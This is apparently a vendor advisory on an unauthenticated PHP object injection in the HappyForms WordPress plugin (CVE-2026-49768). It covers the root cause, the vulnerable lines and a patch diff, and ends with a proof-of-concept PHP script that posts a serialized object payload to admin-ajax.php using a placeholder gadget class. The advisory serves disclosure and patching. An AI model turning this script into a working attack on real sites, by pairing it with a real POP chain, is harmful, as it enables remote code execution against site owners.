Atomic Edge analysis of CVE-2026-49768:
This vulnerability is an unauthenticated PHP Object Injection in the HappyForms plugin for WordPress (versions up to 1.26.13). The flaw occurs when the plugin unserializes user-supplied data without restricting object instantiation. An attacker can inject arbitrary PHP objects, leading to code execution, file deletion, or data theft if a suitable POP chain exists in the site’s plugin or theme stack. CVSS score is 8.1 (High).
The root cause is the use of WordPress’s `maybe_unserialize()` function in multiple locations. This function allows instantiation of any class present on the system. Specifically, the vulnerable paths are:
– `happyforms/core/classes/class-form-controller.php` line 649: `array_map( ‘maybe_unserialize’, $form_meta )` when duplicating a form.
– `happyforms/core/classes/class-form-option-limiter.php` line 260: `maybe_unserialize( $message[‘meta_value’] )` when processing form messages.
– `happyforms/core/helpers/helper-misc.php` line 91: `maybe_unserialize( $value )` in `happyforms_get_message_part_value()`.
– `happyforms/core/helpers/helper-misc.php` line 651: `array_map( ‘maybe_unserialize’, $meta )` in another meta handler.
These calls parse serialized data from the database. If an attacker can write a malicious serialized object into the database via a form submission or meta update, a subsequent read triggers object injection.
An unauthenticated attacker can exploit this by submitting a form that includes a serialized PHP object payload. HappyForms stores form submissions as post meta. When the plugin later processes that meta (e.g., viewing submissions in the admin panel, duplicating a form, or generating messages), `maybe_unserialize()` is called on the attacker-controlled meta value. The payload is a serialized object of a class that implements a POP chain. Since `maybe_unserialize()` does not restrict `allowed_classes`, the object is instantiated. For example, an attacker could submit a form with a field value containing: `O:14:”SomeGadgetClass”:1:{s:6:”payload”;s:5:”value”;}`. When an admin views submissions, the gadget code executes.
The patch introduces a new safe unserialization function `happyforms_maybe_unserialize()` and a helper `happyforms_value_contains_object()`. The new function:
– Checks that the input is a string and is serialized.
– Calls `@unserialize()` with `array( ‘allowed_classes’ => false )` – this forces all objects to become `__PHP_Incomplete_Class` instances, never instantiating real user classes.
– If the result is false or contains any object, it returns the original raw string instead of the unserialized data.
– All occurrences of `maybe_unserialize()` are replaced with `happyforms_maybe_unserialize()`. This prevents object injection regardless of any POP chain present on the system.
Successful exploitation allows an unauthenticated attacker to inject arbitrary PHP objects. If a gadget class is available (e.g., from another plugin, theme, or WordPress core), the attacker can achieve Remote Code Execution (RCE), delete arbitrary files, read sensitive data, or escalate privileges. The actual impact depends on the available POP chain. Without a chain, the injection has no effect. However, many WordPress environments include plugins like `ReduxFramework`, `Pods`, or `GravityForms` that have known POP chains.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/happyforms/core/classes/class-admin-notices.php
+++ b/happyforms/core/classes/class-admin-notices.php
@@ -63,7 +63,7 @@
*
* @return void
*/
- public function register( $id, $message, $args = array(), WP_User $user = null ) {
+ public function register( $id, $message, $args = array(), ?WP_User $user = null ) {
$defaults = array(
'cap' => 'switch_themes',
'dismissible' => false,
@@ -138,7 +138,7 @@
*
* @return array
*/
- private function get_user_notices( WP_User $user = null ) {
+ private function get_user_notices( ?WP_User $user = null ) {
$transient_id = $this->get_user_transient_id();
$notices = get_transient( $transient_id );
$notices = false !== $notices ? $notices : array();
@@ -246,7 +246,7 @@
*
* @return string
*/
- public function get_user_transient_id( WP_User $user = null ) {
+ public function get_user_transient_id( ?WP_User $user = null ) {
if ( is_null( $user ) ) {
$user = wp_get_current_user();
}
--- a/happyforms/core/classes/class-form-controller.php
+++ b/happyforms/core/classes/class-form-controller.php
@@ -646,7 +646,7 @@
return $value[0];
}, $form_meta );
- $form_meta = array_map( 'maybe_unserialize', $form_meta );
+ $form_meta = array_map( 'happyforms_maybe_unserialize', $form_meta );
foreach ( $form_meta as $key => $value ) {
add_post_meta( $duplicate_id, $key, $value );
--- a/happyforms/core/classes/class-form-option-limiter.php
+++ b/happyforms/core/classes/class-form-option-limiter.php
@@ -257,7 +257,7 @@
", $form_id ), ARRAY_A );
$messages = array_map( function( $message ) {
- return maybe_unserialize( $message['meta_value'] );
+ return happyforms_maybe_unserialize( $message['meta_value'] );
}, $messages );
foreach( $messages as $message ) {
--- a/happyforms/core/helpers/helper-misc.php
+++ b/happyforms/core/helpers/helper-misc.php
@@ -72,6 +72,65 @@
endif;
+if ( ! function_exists( 'happyforms_value_contains_object' ) ):
+/**
+ * Determine whether a value is, or contains, a PHP object.
+ *
+ * @since 1.26.14
+ *
+ * @param mixed $value The value to inspect.
+ *
+ * @return bool
+ */
+function happyforms_value_contains_object( $value ) {
+ if ( is_object( $value ) ) {
+ return true;
+ }
+
+ if ( is_array( $value ) ) {
+ foreach ( $value as $item ) {
+ if ( happyforms_value_contains_object( $item ) ) {
+ return true;
+ }
+ }
+ }
+
+ return false;
+}
+
+endif;
+
+if ( ! function_exists( 'happyforms_maybe_unserialize' ) ):
+/**
+ * Safely unserialize a stored value.
+ *
+ * Mirrors WordPress' maybe_unserialize() but never instantiates objects.
+ * Legitimate HappyForms part values are only scalars or arrays of scalars,
+ * so any serialized payload that resolves to an object is treated as a
+ * PHP Object Injection attempt and the raw string is returned untouched.
+ *
+ * @since 1.26.14
+ *
+ * @param mixed $value The value to maybe unserialize.
+ *
+ * @return mixed
+ */
+function happyforms_maybe_unserialize( $value ) {
+ if ( ! is_string( $value ) || ! is_serialized( $value ) ) {
+ return $value;
+ }
+
+ $unserialized = @unserialize( trim( $value ), array( 'allowed_classes' => false ) );
+
+ if ( false === $unserialized || happyforms_value_contains_object( $unserialized ) ) {
+ return $value;
+ }
+
+ return $unserialized;
+}
+
+endif;
+
if ( ! function_exists( 'happyforms_get_message_part_value' ) ):
/**
* Get the part submission value in a readable format.
@@ -88,7 +147,7 @@
$original_value = $value;
if ( is_string( $value ) ) {
- $value = maybe_unserialize( $value );
+ $value = happyforms_maybe_unserialize( $value );
}
if ( is_array( $value ) ) {
@@ -649,7 +708,7 @@
$meta = array_map( function( $entry ) {
return reset( $entry );
}, $meta );
- $meta = array_map( 'maybe_unserialize', $meta );
+ $meta = array_map( 'happyforms_maybe_unserialize', $meta );
$prefixed_meta = array();
$unprefixed_meta = array();
--- a/happyforms/happyforms.php
+++ b/happyforms/happyforms.php
@@ -5,7 +5,7 @@
* Plugin URI: https://happyforms.io
* Description: Form builder to get in touch with visitors, grow your email list and collect payments.
* Author: Happyforms
- * Version: 1.26.13
+ * Version: 1.26.14
* Author URI: https://happyforms.io
* Upgrade URI: https://happyforms.io/upgrade
*/
@@ -22,7 +22,7 @@
/**
* The current version of the plugin.
*/
-define( 'HAPPYFORMS_VERSION', '1.26.13' );
+define( 'HAPPYFORMS_VERSION', '1.26.14' );
if ( ! function_exists( 'happyforms_get_version' ) ):
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-49768 - Happyforms <= 1.26.13 - Unauthenticated PHP Object Injection
// Configuration
$target_url = 'http://example.com'; // Change to target WordPress URL
// Step 1: Find an available form endpoint (AJAX action or form submission)
// We assume there is at least one published form. We'll use the HappyForms AJAX endpoint.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
// Step 2: Build a malicious serialized payload (example using a generic gadget)
// This creates a serialized object of class "SomeGadget" with a property that will be executed.
// Replace with actual available gadget chain.
$payload = serialize( new SomeGadget() ); // Placeholder: craft actual gadget here
// Step 3: Submit the form with the malicious payload in a field
// The exact field names depend on the form structure. We use a generic approach.
// For demonstration, we send a POST request mimicking a form submission.
$post_data = array(
'action' => 'happyforms_message',
'form_id' => 1, // Adjust to a valid form ID
'happyforms_form_widget-1' => $payload // Field name example
);
$ch = curl_init();
curl_setopt( $ch, CURLOPT_URL, $ajax_url );
curl_setopt( $ch, CURLOPT_POST, true );
curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $post_data ) );
curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $ch, CURLOPT_HEADER, false );
$response = curl_exec( $ch );
$http_code = curl_getinfo( $ch, CURLINFO_HTTP_CODE );
curl_close( $ch );
echo "HTTP Status: " . $http_code . "n";
echo "Response: " . $response . "n";
echo "PoC attempt completed. Check target server for object injection effect.n";
// Define a sample gadget class for illustration (not exploitable unless real)
class SomeGadget {
public $cmd = 'id';
}
